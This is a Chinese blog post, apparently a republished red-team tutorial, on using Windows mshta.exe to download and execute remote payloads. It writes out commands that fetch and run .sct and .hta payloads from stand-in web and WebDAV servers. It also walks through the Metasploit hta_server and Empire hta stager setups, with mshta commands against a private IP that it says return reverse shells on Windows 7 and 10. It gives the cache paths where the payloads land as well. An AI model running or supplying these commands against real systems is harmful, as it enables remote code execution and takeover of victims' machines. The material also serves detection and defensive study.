前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows文件传输及执行—mshta「建议收藏」

Windows文件传输及执行—mshta「建议收藏」

作者头像
全栈程序员站长
发布2022-09-14 13:12:46
3K0
发布2022-09-14 13:12:46
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

声明:本文介绍的内容仅用于学习和研究目的,请勿用做非法用途。

 取决于Windows系统的版本,通过HTTP下载的文件缓存位置为IE的本地缓存,在下面的路径之一:

  • C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
  • C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>

使用指向WebDav服务器的UNC路径下载的文件将保存在WebDAV客户端本地缓存:

  • C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

 在使用UNC路径下载payload时,需要WebClient 服务启动,如果没有启动,可在命令行前面加上pushd \\webdavserver & popd命令。

Mshta下载&执行

mshta支持2种文件格式的执行,其中执行.sct文件的命令格式如下:

代码语言:javascript
复制
mshta vbscript:Close(Execute("GetObject(""script:https://webserver/payload.sct"")"))

其中,进行网络调用的进程为mshta.exe,本地缓存IE local cache。 执行.hta文件的命令格式如下:

代码语言:javascript
复制
mshta http://webserver/payload.hta

 metasploit的exploit/windows/misc/hta_server支持.hta文件的执行: use exploit/windows/misc/hta_server 配置对应的参数后,在目标主机cmd下执行: mshta http://192.168.49.160:8080/c3a4XKrdsu3L.hta 在win7和win10测试,都可成功反弹shell:

在这里插入图片描述
在这里插入图片描述

 Empire也支持.hta的payload:

代码语言:javascript
复制
usestager windows/hta

然后在目标主机执行:

代码语言:javascript
复制
mshta http://192.168.49.160:8000/payload.hta

win7,10成功:

在这里插入图片描述
在这里插入图片描述

使用UNC路径的命令格式为:

代码语言:javascript
复制
mshta \\webdavserver\folder\payload.hta

其中,进行网络调用的进程为svchost.exe,payload位置:WebDav本地缓存。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/159691.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Mshta下载&执行
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档